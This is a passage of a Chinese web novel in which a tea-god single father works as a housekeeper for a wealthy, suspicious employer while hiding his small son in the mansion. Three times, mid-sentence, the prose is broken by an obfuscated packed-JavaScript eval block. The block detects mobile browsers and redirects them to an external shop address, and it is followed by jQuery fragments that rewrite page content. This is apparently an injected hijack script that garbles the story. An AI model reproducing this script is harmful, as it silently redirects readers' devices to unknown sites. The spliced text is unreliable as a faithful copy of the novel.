白小茶双手捧着花卷,舔了一口感受到花卷的宣呼,眼睛弯起来,看了看盘子,像邓爷爷一样,捏着花卷蘸一蘸盘子里的汤汁,卖力地啃一口:“开动了!” 他比楼下那个大的,吃起饭来努力多了。 白清语满意地看着自己儿子,“宝宝,你以后肯定长得比贺少爷高。” 贺任沅有多高?一米九吗?反正是白清语见过的数一数二的高,给白小茶找这个参照物准不会错。 “大人上班不能带小孩子,会被老板开除的。如果老板在家,我就不能带你去花园晒太阳。”白清语揉揉儿子的脑袋,“你在屋里晒,好不好。” 白小茶又吃到了免费丰盛的食物超级开心,兴奋地回答:“好哦!” 小崽子嗓门很亮,白清语差点想捂住白小茶的嘴巴,但是转念一想,如果因为在城里寄人篱下就压抑天性,还不如回乡下种田呢。 豪宅的隔音效果应该不错的,正常说话没人能听见。 白清语没有负担地陪白小茶玩了一会儿拍手游戏。 “你拍一,我拍一,一个宝宝坐飞机。” 白小茶:“一个宝宝坐飞机!” “你拍二,我拍二,二个宝宝唱儿歌。” 白小茶疑惑:“还有别的宝宝吗?” 好吧,拍手儿歌需要改编。 白清语给他塞了一块管家送的小饼干:“没有其他宝宝,你拍三,我拍三,茶宝最爱吃饼干。” 白小茶立刻忘记正在游戏中,缩手扶住嘴里的饼干。 饼干好好吃! 楼下,即将出门工作的贺任沅,打开车门时,拧起了眉。 是他幻听吗?为什么他听到了小孩子的声音? 可是当他沉心静气认真听时,又没有了。 他家里不可能有孩子,距离他最近的一栋房子,就算里面三个孩子哭得撕心裂肺,也传不到他这来。 可能是野猫吧。 “少爷,今晚要不要准备晚饭?”管家委婉地打探贺任沅晚上回不回家。 贺任沅刚想说不用,他住在公司可以用工作麻痹大脑,失眠随时能工作,下一瞬,眸光一抬,看见三楼的窗户,那股气息快要消失了吧?改了口道:“嗯。” 管家不慌不忙地应下,贺任沅不会准时在饭点回家,一般得拖到八点,家里其他人准时开饭就成了。 * 花园里有一圈茶树,茶树在城里活得不太好,纵使园丁精心照顾,看着总不如山上的生机勃勃。白清语“护理”了一圈茶树,见它们精神了一些,才洗了手,打算去厨房看看有没有能帮上忙的。 去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650394|143939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厨房的路上,白清语居然发现一间炒茶室,工具应有尽有,只是关着门,看着很久没人动过了。 看来贺任沅真的很喜欢茶叶,茶神白清语打算对他更包容一些。 厨房里,刘姐正在忙活,称呼为姐,但其实她的年纪比管家还大,刘阿姐是她的土名。 白清语掀开一个锅盖看了看,看到了一锅完整的蒸米饭。 “这是中午的饭?会不会有点少?” 刘姐解释道:“不,这是早上给贺少单独准备的米饭,因为拿不准贺少想喝粥还是米饭,故而都备着。” 白清语:“那我们中午吃吧。” 刘姐笑眯眯道,管家吩咐今天中午煮卤面吃,她已经搓好了面条,分量很足,中午用不上米饭。 卤面藏了管家的私心,因为做菜的话,白清语会把它混合喂给白小茶,与其这样,不如来一碗绵软可口的面条,好消化,小孩子吃面条一定很可爱。 白清语:“那晚上我吃吧。” 刘姐道:“晚上也吃面。” 白清语:“啊,那这锅饭……留给大少爷吃,本来就是给他的。听说少爷晚上八九点才会到家,以后夜宵就由我做吧。” 刘姐年纪大了,习惯早睡早起,贺任沅回家的时间不固定,熬夜的事还是交给神仙。 刘姐:“不行不行,米饭必须刚蒸出来的香,贺少一入口就能尝出来。” 白清语:“不要紧,少爷有什么忌口的么?” 说起这个,刘姐侃侃而谈:“香菜、芹菜、苦瓜、羊肉、鱼……” 白清语咋舌:“这么挑食?”那怎么长这么高的?他对白小茶身高超过贺任沅更加有信心了。 刘姐道:“这些都是我对贺少口味的揣摩,贺少从不说自己喜欢什么不喜欢什么。” 她做饭有大智慧:“贺少越是不说,咱越要小心,像是味道大的、腥膻的、上火的、苦的,刺多的……咱都不端上桌。” 白清语总结:“那其实就是都能吃?” 刘姐缄默,呃,也没听说什么不能吃。 白清语胸有成竹。 刘姐煮面的手艺很好,自己拉的面,中午时西红柿打卤面,晚上是鲍鱼肉末粉。 白小茶被带下来吃面,他这个年纪不适合上桌,就适合坐在地上就着小板凳自己捣腾。 两根筷子笨拙地挑起面条,不小心掉了一根在地上,白小茶迅速伸出手捡起来吃掉,手指在衣服上擦了擦。 他吃得忙碌又热火朝天,脑门上出了一层细细的汗。最后剩下一些面汤时,端起比脸大的木碗,罩着脸蛋嘟嘟喝个干净。 仿佛是什么表演似的,除了白清语,所有人都看着白小茶吃饭。 “啊啊。”哑巴姐妹比划手指,互相说着什么。 管家问手语翻译:“她们想说什么?” 社恐翻译官怯懦地说:“是、是姐妹间的八卦。” 管家“哦”了一声,不再深究,看完小崽子吃饭,满意地端起自己的碗。 晚上过了九点,吩咐家里做晚饭的贺任沅刚刚下班。 白清语在楼下等到犯困,终于,车灯的光芒透过玻璃窗晃过他脸上。此时别墅里静悄悄,除了刘姐偶尔给贺任沅做夜宵,其他人都关在自己屋里享受下班时光。 贺任沅十有九次不需要夜宵,他更需要安静。从门口到二楼卧室这一段路,白天发生的事情飞速从脑海中过一遍,他会在睡前详细记录在纸上,不再从前那样相信自己的大脑会完全储存记忆。 走到楼梯口,他被新来的保姆拦住了。 “老板你吃晚饭了吗?” 贺任沅回忆了一下,这才觉察到今天没有安排应酬,以至于少吃了一顿,“没。” 白清语眼神一亮:“那我给你做夜宵。” 幸好幸好,他真怕贺任沅吃饱了,早上的那锅饭没人吃。 贺任沅不相信这个表面老实的保姆,抬步要往上走:“不用了。” 白清语:“别走别走,我已经做好了,我端出来就行。” 贺任沅心情有些奇异,看在对方等他到这个点的份上,那就瞧瞧他能做出什么花样。 贺任沅坐到餐桌边,按开了一盏暖黄的壁灯。 过了一会儿,桌上出现一碗稀饭,汤汁透着绿。 “这是什么?” 白清语:“茶泡饭。老板你不是喜欢那款茶叶吗,我今天倒了倒盒子,找到了剩下几片。泡了五小时,很入味的。” 贺任沅脸黑,泡?还要提醒他一次茶叶泡澡的事吗?热茶泡剩饭,多一点技巧都没有,他怀疑这锅饭还是早上的。 “不饿了。” 白清语搅了搅茶饭,卖力挽留道:“真的不吃了吗?世界上唯一仅剩的茶叶。” 贺任沅深呼吸,这是饥饿销售? 他盯着眼前这碗饭,纯净幽兰的茶香在搅动间溢出,新枞茶到底少了点厚度,如果是百年以上的老枞茶气味会更柔厚绝伦……他打住思绪,盯着白清语,不吝恶意揣测:“这不是你泡澡用过的吧?” 一把茶叶可以一泡二泡乃至九泡,那他岂不是喝白清语的洗澡水? 怪恶心的。 6. 第 6 章 不怪贺大少这么怀疑,谁让白清语早上怎么问都没有,晚上又有了? 白清语愣住,他一个茶神,至于用二手茶叶骗人吗? “不是的,这是新的茶叶。”他用剪刀从茶小宝后脑勺刚剪的。 白清语失望地说:“难道你连茶叶的一泡和二泡都喝不出来吗?” 贺任沅拧眉:“谁说我喝不出来,但你这泡了五个小时米饭的能一样吗?” 白清语道:“我就能喝出来。” 被一个用茶叶泡澡暴殄天物的保姆胜过品茶能力,是一种耻辱。 贺任沅执起汤勺,舀起一勺浸润了茶水的米饭。 撇开被泡得遭烂的饭粒不说,茶是好茶。 大晚上不适合吃得油腻,茶泡饭爽口生津,勉强也能入口。 贺任沅沉入思绪,任由茶水像记忆的叩门石一样冲刷脑海中过于顽固的封印。得益于优秀的大脑,过去的求学以及工作都顺风顺水,贺任沅没有体验过的绞尽脑汁、掏空思绪,都在这三年体验过了。 极致的思考是一间耗费心力的事,片刻,贺任沅乌黑的鬓角就溢出了冷汗。 白瓷调羹触到了碗底,发出当啷一声脆响,贺任沅回神,发现这么难吃的茶泡饭,竟然吃完了。 虽然他并没有回想起什么,但这碗茶令他确定,他的确失去一段漫长的记忆,虽然在现实时间线上找不到坐标容留,更像他的臆想。 白清语像夸白小茶一样道:“真棒。”今天老板吃饭跟白小茶一样专注,不过他把茶泡饭热得太过了吗,怎么还吃出汗了。 贺任沅:“……” 白清语俯身过来拿碗的那一刻,贺任沅猛地握住他的手腕,皓腕纤细,十指如玉,不像是干过活的,在他家倒是受委屈了。 贺任沅直视白清语寡淡的眉眼,分外冷静:“碗里的茶,跟你身上的茶,不是同一品种。” 白清语差点反驳出声,怎么不是同一品种了,白小茶是他生的,一脉相承,老板怀疑他和白小茶不是亲父子吗?他们有户口本的。 贺任沅直言:“生长年份不一样。”白清语身上甚至有传言中母树大红袍的气息。 白清语被抓住的手指不由蜷了蜷,显然是心虚的表现。他明明只是稍微放出一点茶神的气息,越淡然越接近白小茶,贺任沅明察秋毫的程度是他见过最会喝茶的人类。 “是不太一样……因为我在来的火车上,遇到一个老头,神神秘秘地说要去斗茶,见茶宝……见我对我茶叶了解颇深,送了我一小把。”白清语给老板戴高帽,“如果你在火车上,想必老爷爷也会送你,行家之间惺惺相惜。” 贺任沅嗤之以鼻:“别人送你的,你不拿来喝,拿来泡澡?” 白清语:“我喝了两遍才泡澡的。市面上的大红袍大多是拼配的,我也想试试两种岩茶配出来的味道。” 拼配,即是由专业师傅把不同种的岩茶调和比例,搭配出更醇香的风味,因此不同品牌的大红袍味道有些许差别。 贺任沅觉得手里攥着的手腕真是滑不溜手,气得加重力道,他分明从白清语身上感受到的是纯种大红袍的气息,甚至是最顶级的母树。 然而母树从十七年前就停止采摘,最后一批茶叶被送进国家博物馆珍藏。 白清语一个没有背景的穷小子,能跟母树扯上联系?说出来白清语都会笑话他。 保姆不仅狡猾,还懂茶文化。他真是不当律师太久了,在嘴上功夫吃瘪。 贺任沅放开他的手,欲要起身。 白清语自告奋勇道:“明天我来做早餐好不好?” 刘姐给少爷准备的早餐实在浪费食物,但是刘姐不敢开口让贺任沅点餐,只能每样都来一点。而老板和员工又是分开准备吃食的,等贺任沅吃不完剩下的时候,大家都已经吃饱了。 白清语敢问:“老板你早上想吃什么?” 贺任沅目光一扫空碗,对白清语能做出的花样没有任何期待,他起身上楼,“不用你做。” 白清语扶着红木楼梯扶手,哄人一样说:“茶叶蛋可以吗?我还有一点点茶叶!” 白小茶已经三个月没剪头发了,可以再剪一点点。 贺任沅顿住脚步,手指扣住扶手,手背爆出青筋:“你到底还有多少茶叶?” 白清语觉得老板一副要冲下来掐死他的样子,躲在扶手第一棵抱柱后面,小声道:“一点点。” 按照茶神幼崽的生发速度,每天都有一点点啦。 贺任沅岂能被白清语回回用茶叶拿捏,倒反天罡。 “茶叶蛋配花生豆浆怎么样?”白清语问。 呵,打发叫花子呢。贺任沅头也不回。 白清语抬高声音:“再加一叠水煮青菜,饭后一壶茶。” 贺任沅闭了闭眼,仿佛进了一家黑店,若不是他想恢复记忆,何至于此,“你最好七点前端上桌。” 白清语:“好。” 目送雇主上了二楼,白清语才抬步上楼,步子很轻。 到了三楼,白小茶察觉到爸爸的靠近,放下手里的积木——积木是火车上的好心大姐寄给他的。 他来不及站起来,手掌撑地,爬了两步就滚到了爸爸脚下,“爸爸。” “爸爸,你这里被虫子咬了吗?”白小茶对着爸爸手腕上一圈淡淡的红痕呼了呼。 “没关系,是一只不够厉害的虫子。”白清语今天目标都达成了,心情愉悦地抱起儿子:“我们待会儿下去制作茶叶蛋。” 茶叶蛋浸泡冷藏一夜更入味,要提前做。如果是土鸡下蛋就更好了,不知什么时候才能养上鸡。 白清语嘱咐道:“待会儿我们去厨房,要小声说话。” 白小茶点头:“嗯。” 白清语还不放心,雇主实在太精明了,“宝宝,我的老板很聪明,如果上三楼检查,你要躲好噢。” 白小茶脸颊微垂的肉都透着凝重:“被老板叔叔抓住,就不能跟爸爸一起上班了。” 白清语:“对,因为别的小朋友都没有跟爸爸一起上班,你是管家爷爷偷偷放进来的。” 白小茶:“管家爷爷太好了!” 白清语收敛了自己身上的气息,假装自己洗澡把茶香洗没了,免得被贺任沅察觉茶树年份对不上。 白清语抱着崽子静悄悄下楼,把厨房门锁起来,先煮鸡蛋。 “爸爸一个,宝宝一个……”白小茶看见爸爸往盆里放了三个鸡蛋,“噢,老板叔叔一个。” 其实老板叔叔两个,白清语不吃。贺任沅那么高的个子,早餐得多吃一点。 鸡蛋煮熟后,捞出来放进冷水里,白清语往锅里加入香料、生抽、盐糖和茶叶。 白清语不是第一次制作茶叶蛋,连白小茶都熟悉了流程。 “宝宝,给点茶叶。”白清语倒是想用自己的茶叶,但贺任沅喝惯了,换一种明天又会找他麻烦。 白小茶乖乖低着脑袋不动,是理发师眼里的顶级配合幼崽。白清语剪下几根小崽子的头发,在掌心用神力快速烘炒,然后扔进小奶锅。 白小茶靠着橱柜坐在地上,小手捞出一个鸡蛋,在柜门上磕一磕,滚一滚,蛋壳碎裂,举高给爸爸。 白清语接过鸡蛋,放在卤汁里卤制二十分钟。 等待的间隙,怕茶宝无聊,白清语打开冰箱,拿出一盒酸奶,一根鳕鱼肠。 鳕鱼肠微波炉加热,酸奶掀开盖子,递给白小茶。 白小茶抓着火腿肠戳到酸奶盒子里泡一泡,染上一层酸甜的味道,就像薯条蘸番茄酱。 白清语再次打开冰箱,思索明天早上要给老板水煮什么青菜。 西兰花吧,城里人好像爱吃这个。 白小茶看到了大冰箱里的食物,满满当当都是吃的,惊叹地张着小嘴,裹着酸奶的鳕鱼肠没对准戳到了脸上,留下一圈白印。 真是好大的失误! 白小茶手背抹了抹脸,注意力又放在吃酸奶上。 二十分钟后,白清语关火,抱起吃完一盒酸奶的小崽子回屋。 * 翌日。 贺任沅对着寡淡的早餐沉默了三秒。 刘姐没做少爷的早餐,但照旧做了员工餐,大家都吃了美味丰盛的早餐。 完了完了,白清语这回一定会被开除了,怪她昨天没说清楚少爷的可怕,让白清语随意发挥的结果就是贺少的早餐变成茶叶蛋豆浆和水煮青菜。 就在刘姐以为贺任沅的怒气值在读条时,贺任沅拿起了一枚茶叶蛋。 要不怎么说少爷的皮相好看,连剥一个茶叶蛋都很优雅,蛋壳像削苹果一样一圈一圈不断点。 白清语监督着,心想,茶宝宝真会滚鸡蛋,让老板剥壳这么顺畅。 盯着贺任沅吃完早餐,一点都不浪费,白清语捧出一个500毫升的大肚杯,里面满泡了茶,淡青的茶叶在水中袅娜舒展叶络,渐渐沉在底下。 “你带去上班吧。”白清语大方地把自己新用户注册换来的大肚杯借给贺任沅,表情好像奖励贺任沅乖乖吃完了饭。 大肚杯是绿色的狗狗造型,有挂脖带,还有吸管。 贺任沅眼里冒出了火,雷霆万钧地盯着白清语,“这是你从外面捡回来的瓶子?” 白清语:“这是我新用户一分钱买的,而且我还没用过。” 贺任沅揉了揉太阳穴,新用户,一分钱,按照获客成本控制,这件东西哪怕实价买也不会超过十元。 他难道要拎着这个丑东西去公司上班?再老土的机关单位大爷也知道捧个玻璃杯或者保温杯。 白清语真的很喜欢这个杯子的两条带子,可以拎着,拿不了还可以挂脖子上,很适合上班的人。 茶神很有宽容度,贺任沅对杯子的抨击不会让他生气,他只关心结果,“那你喝不喝?” 贺任沅发誓这是最后一次忍气吞声,他一把拿过大肚杯,温热的茶水透过杯壁,瞬间温暖了他枯燥的掌心。 贺任沅扯了下唇,大步离开。 白清语和贺任沅说话时,其他人都不说话,等贺任沅一走,李如李愿这对哑巴姐妹,立即激烈地比划起来,好像有很多话想输出,碍于手势不能精准地表达她们的情感。 管家问手语翻译官:“她俩说什么?” 翻译官盯了一会儿,发现竟然姐妹俩胆大到磕少爷和保姆,有些脆弱地说:“没说什么,说一会儿要大扫除。” 管家“哦”了一声,他更关注的是茶小宝吃了没。 白清语:“还没吃,我给他留了饭,既然下面要大扫除,我就上去喂吧。” 白清语带着茶叶蛋和一杯豆浆上楼,放在白小茶面前,让他自主干饭。他则盘腿坐在地板上,用手机查找附近的幼儿园。 白小茶两岁多,可以读小小班。幼儿园最好近一些,方便他接送。贺任沅虽然脾气大,但是一回来就让管家给他提前发了三个月工资,一共一万五,他有钱让白小茶提前上幼儿园了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650395|143939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 白清语打开地图,输入幼儿园,跳出来距离最短的一家,1.5公里,名字叫柠檬国际幼儿园。 白清语照着电话打过去:“喂,您好,我有一个两岁的宝宝,请问你们还收学生吗?” 对方的语气是标准的客服:“您好,春季开学已经一个月了,如果您家的孩子就读,算插班生哦,可能会不太习惯跟其他小朋友相处,费用也是按照整学期收取。” 白清语道:“没关系,茶宝宝很容易适应。” 对方客服道:“我们三岁以下的孩子每个月的费用是两万六,如果要校车接送,需要另外支付……” 两、两万六?每个月?白清语震撼傻了,所以他三个月的工资供不起白小茶一个月的幼儿园费用? 城里读幼儿园这么贵吗? “对不起,我再考虑一下。” 白小茶头也不抬地重复:“爸爸再考虑一下哦。” “好的,您慢慢考虑,我们这边也建议您秋季再送孩子上学,课程进度比较一致。” “嗯,谢谢你。”白清语挂断电话,震惊地想,怎么会这么贵?只有老板的儿子才上得起幼儿园吧?茶神儿子上不起。 可是张秀娟和泥水匠的孩子都成功入学了。这里面一定有什么问题。 遇事不决问浏览器。 三分钟后,白清语弄明白了,幼儿园也分很多种,贵族私立、国际双语、特色民办、普惠型……普通打工人可以把孩子送进普惠幼儿园,一个月只要两千。 他在豪宅区,距离近的只有贵族、国际这样冠名的幼儿园,最近的普惠幼儿园距离他有12公里。 白清语决定改天亲自实地考察。 “清语,你有快递。”管家打电话上来通知。 一定是他买的“防雨婴儿车”到了,此刻老板不在家,白清语明目张胆地抱着儿子下楼去签收。 “这么大的箱子?”管家吃惊,这是添置了什么家具吗,“你不用自己花钱买,缺少家具记少爷账上。我给你报销吧。” 白清语是老实人,他觉得买婴儿车不在工作必须品内,“不用了,没多少钱。” 白清语三两下拆出了一个巨大的绿色垃圾桶。白小茶和管家都看呆了。 “好大的箱子。”白小茶站起来只有垃圾一半高。 管家纳闷,家里缺这种垃圾桶吗? 白清语道:“我买来当储物柜的。” 管家:“……” 管家眼睁睁看着父子俩一起高兴地推着垃圾桶进电梯,叹气,还是太穷了。 还是给他报销吧,管家正想转账,突然接到了贺任沅爸爸贺望重的来电。 “听说阿沅连续在家住两天了?”贺望重虽然是问话,但很笃定,有自己的消息渠道。 管家:“是的。” 贺爸爸:“那你说他今晚会不会也住家里?我晚上派人送一碗汤过去,记得让他喝。” 管家:“少爷没说晚上回家。” 贺爸爸:“就碰碰运气。” 贺望重年轻时和妻子是出差忙人,一年有三百五十天不在家,做大做强后,突发奇想要当一个大厨,沉浸于亲自做饭弥补儿子。 有点心意,但不多,主要体现在食材的昂贵上,手艺还不如刘姐。 贺任沅的公司送不进文件以外的任何东西,想送饭只能往家里送,而贺任沅在家的日子比当年的父母还随机。 总之,上梁不正下梁歪,全家都没啥家庭观念,不认为晚上就得回“家”,公司更像家。 * 贺任沅一只脚踏进家门,就有些后悔,这不是自虐吗? 等等,什么时候他回自己家要看人脸色? 他已经安排好了晚餐,让刘姐给他炒一盘松茸炒饭,不会再被白清语的茶泡饭和茶叶饭拿捏。贺大少自暴自弃地将洗好的塑料狗狗大肚杯放在桌上。 这玩意儿他用过一次就得扔,又怕保姆揪着不放。 厨房里,刘姐喜气洋洋地对白清语说:“还是你有办法,这可是少爷第一回指定餐食,我只要做一份炒饭就行。” 白清语谦虚道:“说明老板听劝,讲道理。” 刘姐:“总之你很棒,这就是年轻人流行的向上管理吧。” 贺任沅吃了安心的一顿晚餐,这时,管家端上来一份白松露南瓜汤。 “这是董事长送过来的汤。” 贺任沅看了一眼,松露和南瓜混合成粘腻浓稠的汤汁,令人毫无胃口,道:“拿走。” 管家讪讪地撤下来,卖相是一般,估计味道也一般,但是用的是被誉为白色钻石的阿尔巴白松露,不吃多可惜啊。 咦?齐管家脑海闪过某个幼崽干饭片段。 他马不停蹄端着这珍贵的白松露南瓜汤,坐电梯直上三楼,生怕洒出一点。 “茶宝。”管家在门口轻声呼唤,“来吃东西。” 白小茶迅速从门后探出一个脑袋:“管家爷爷?” “是好东西,快吃。”管家慈爱地把碗放在小凳子上,把调羹塞进白小茶手里。 白小茶握着勺子闻了闻,舀起一勺送进嘴里。 没吃过的,好吃! 管家笑眯眯看着,很有成就感。 过一会儿,他接到董事长的回访。 “阿沅吃了吗?好吃吗?”贺望重沉稳地问。 “吃了吃了。”管家含糊地回答。 大老板没吃,小老板吃了。 7. 第 7 章 贺望重听完,露出一个高深莫测的微笑,这不仅是家庭和谐的一小步,更是厨艺进步的一大步。 贺任沅嘴刁得要命都能吃他做的饭了,什么实力不用说了。 “老齐,你帮我问问阿沅最近喜欢吃什么。” 管家回想早餐时吃茶叶蛋的少爷,这一刻,大少爷和小小少爷的身影莫名重合起来,“最近什么都能吃。” 贺望重:“我得想想明天做什么了。” 贺望重之前做饭没人吃,贺任沅亲妈,舒枚私底下找管家,让他每次别那么如实汇报,“看了一眼、尝了一口、夸了一句”这种极富情绪价值的话,那叫善意的谎言。 管家心想,董事长目前的精神状态跟茶宝真是太适配了,一个做饭,一个干饭,他这个中间商也不赚差价,只为了完成太太的任务,一石多鸟! 贺望重做饭也不是全程动手,有厨师指挥兜底,味道差不到哪儿去。看看,茶宝就很爱吃。 白小茶在管家爷爷打完电话,才加倍夸赞南瓜汤,“是甜甜的蘑菇,好吃。” 管家满眼都是溺爱:“宝宝值得世界上最好的白松露。” 等白小茶一勺一勺刮完碗底的南瓜粥,跟脸一样干干净净,管家笑意更加亲切,道:“吃饱了自己玩一会儿,爸爸很快就上来。” 少爷吃完晚饭就该去书房呆着了,家政一天的工作就算做完了。 “好哦,爷爷。”白小茶最近有了新玩具——大号垃圾桶,被平放在地上,他把垃圾桶当商场里的绿色城堡一样钻进钻出,推来推去。 管家看了又是一声叹息,要不是城堡放在家里被少爷发现的概率太大,高低得在一楼大厅整一个。 楼下,贺任沅理了理一个项目的头绪,看见管家下来,道:“你带白清语去地下室清点茶叶,明天出一份清单。” 管家正疑惑,就听贺任沅道:“顺便探探底,看他究竟对茶叶了解有多深。” 管家:“好。” 贺任沅今晚不知不觉把一盘炒饭都吃了,进食太多,他打算去四楼泳池游个一千米,“我上楼游泳,其他人歇息吧。” 管家见贺任沅走楼梯,心里一咯噔,走楼梯可是要经过三楼啊,他战战兢兢地看着。 贺任沅皱眉:“还不叫上白清语快去清点?” 贺任沅亲眼看着管家带着白清语进地下室了,才抬步上楼。 他故意支走白清语。 他要去三楼看看,白清语到底藏了多少茶叶。 他是这个家的主人,看看三楼的客房不犯法。 某一间客房没关门,他站在门口看看里面,也不犯法。 如果白清语用泡澡欺骗他,实则故意留着那二十斤茶叶吊着他,他站在门口就能闻出来味道。 大字型趴在地上等爸爸的白小茶听见了陌生的脚步声,不是爸爸,也不是管家爷爷。他手肘撑着地板小鲤鱼似的仰起脑袋竖起耳朵,接着簌簌爬进垃圾桶里,在底部躲好。 一双灵动的眼睛睁圆,连眼珠都不敢乱动,像洞里的小老鼠一样警惕外面巡逻的猫。两只手掌叠着捂住嘴巴,这样就不会发出声音了! 贺任沅假模假式地抬手敲了下微开的门。 老板叔叔敲门有礼貌,白小茶差点也礼貌地喊叔叔,还好他一直捂着嘴巴! 贺任沅站定在门口,入目的木质地板和二楼没什么差别,房间大约五六十平,连接一个东向大阳台,推拉门没关,可以看见阳台上晒的衣服。 抹布? 白清语居然还在三楼晒抹布? 挂着的怎么还是那几件破衣服?不是让用工资买衣服了吗? 还有那床上不放床垫,套的是什么床单? 床头居然还有一个倒下的垃圾桶……这种物业环卫用的垃圾桶,贺任沅从没想过会出现在卧室。 用这么大的垃圾桶,难道是想堆满了再推下去倒掉吗?这不得邋遢得生虫生臭? 房间里没有臭味,倒有一股淡淡的茶香,从垃圾桶的方向散发。贺任沅忽地想到一个可能,泡完澡的茶叶梗,是不是就被倒在这个垃圾桶里? 地上掉着零星两片茶叶,他眼力好,看见阳台也有几片。 律师的精明脑子不由推理出白清语的一系列动机:白清语得知自己对某款茶叶的青睐,但木已成舟,泡了澡就没办法正大光明拿出来,他舍不得扔掉,白日在阳台上晒干,晚上收回垃圾桶里,以旧充新,时不时拿出一点欺骗他。 这就解释了为什么阳台上会有茶叶,因为收拾的时候落下了。这个东晒的阳台,早晨阳光很好,茶叶晒两天就干了。 贺任沅百分之百笃定白清语在阳台晒过茶叶。 而收在垃圾桶里更是一种狡猾,这样被他发现时还能狡辩是准备扔掉的。 贺任沅冷笑了下,转身离开,他要找一个合适的时机,把从垃圾桶里掏茶叶的白清语人证并获。 他上了四楼游泳,把手机丢在岸边之前,贺任沅给管家发了一条信息。 [给家里每个人订制工作服。] 管家收到消息微微纳闷,少爷怎么还有闲心管起大家穿什么了。不过他照办就是,春夏冬各两款×三套,不过分吧? * 一双胖胖的小手搭住垃圾桶边缘,接着,斜斜探出一个过分谨慎的脑袋。 白小茶一只手捂住单边眼睛,只留一只眼睛往门口看去。 呼——老板叔叔走了。 白清语能感应到白小茶的情况,儿子躲起来的第一时间他就知道贺任沅偷袭了,但不等他跟管家请假,贺任沅就走了,仿佛只是随便看一眼。 应该没有怀疑什么吧? “宝宝,你躲得很好。” 白清语担忧地看了一眼卧室门,贺任沅保不准还有下一次突袭,但是他不想关门,以白小茶的个子开门有难度,他希望给儿子更大的活动空间,对于懂事的茶宝,封闭空间比开放空间更危险,生路是必须留的。 “爸爸,我捂住眼睛,老板叔叔看不到我。”白小茶道。 “宝宝好聪明。”船到桥头自然直,白清语想得开,被抓住就抓住了吧,大不了用茶叶补偿一下。 白清语打扫了一下阳台,白小茶白天在阳台晒太阳还爱滚来滚去,掉下来的零星头发变成茶叶都风干了。 他收集起来,存储在一个罐子里。 第二天是周六,豪宅的家政人员全体放假,贺任沅也不在家。 管家和其他人都出门去了,白清语也打算带着白小茶去考察幼儿园。 正要出门时,迎来了一个客人。 白清语在南城认识的人很少,客人他恰好认识,是给他介绍工作的贺映。 贺映总是一身职业装,过肩的长发在脑后用发包扎好,没有刘海,干净利落。 她来侄子家里,没带礼物,带的是一包贺任沅绝对不吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650396|143939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的儿童零食。 “给茶宝的零食。” “您太客气了。”白清语受宠若惊,“今天少爷不在家,要我给他、呃,给管家打电话吗。” 噢,他没有贺任沅的联系方式。 “不忙。”贺映逗了逗小茶宝,拿出一支棒棒糖,“叫我姑奶奶。” 白小茶听话地说:“姑奶奶姐姐好。” 他没听明白姑奶奶的意思,自动在后面加个姐姐。 贺映被白小茶逗笑了,对白清语道:“我今天是来找你的,你也上班一周了,我来做一个回访,看看你对工作的满意度,不满意我们可以再调整。” 两人在沙发上坐下,贺映拿出一份表格让白清语填写,大抵是对工作的满意度之类。 白清语如实填写,给贺映的扶贫工作打十分好评。 当然,如果茶神更了解人类世界一点,就会知道回访不用贺区长亲自过来。 白小茶站起来扶着茶几,看爸爸写字,看起来一副好学的样子。 贺映不由想起很多年前,自己在写作业,被三岁的贺任沅围观,非要说她哪里写错了。 她垂眸看着白清语填写的籍贯,那个地方贺任沅去过,随口问道:“茶宝几个月了?” 白清语心虚:“十四个月。”户口本上是。 “十、四、个、月!”白小茶完全无视爸爸的心虚,抑扬顿挫地复读,一看就很适合去上语文课。 贺映在心里倒推怀孕的时间,现在是三月中旬,也就是前年一月份。 前年一月份贺任沅好像在国外找了个精神科专家,待了一个月才回国? 贺映抿了抿唇,看向白小茶,虽然父子俩大体上长得不像,但眼睛的瞳色是一模一样。一个孩子怎么会有两个父亲,她放不下心里的怀疑跑这一趟,也该死心了。 但世界之大,万一呢,贺任沅不还信誓旦旦说自己缺失了一段理论上不可能存在的记忆。 贺映:“你结婚了吗?有配偶的话,工作我可以一并安排,夫妻俩在同一家上班很常见。” 白清语摇头:“没有,我是单亲爸爸。” 单亲?又有点希望了。 贺映越看越喜欢,伸手在白小茶脑袋上揉了揉,企图捡漏一两根自然掉落的毛发做亲子鉴定。 如果白小茶跟贺任沅有血缘关系,她也不会拆开白清语和白小茶,她会给白小茶提供更好的生活条件,比如上最好的幼儿园。 白小茶的头发比初见时短了一些,露出饱满的额头,眼睛更加炯炯有神。 贺映哪里知道可怜的小崽子自然脱落的毛发早就被白清语薅走给人泡茶,摸来摸去,小家伙的毛发都很禁摸,只能不动声色地收回手。 白清语虽然穷,但很会养孩子,营养均衡发质健康。 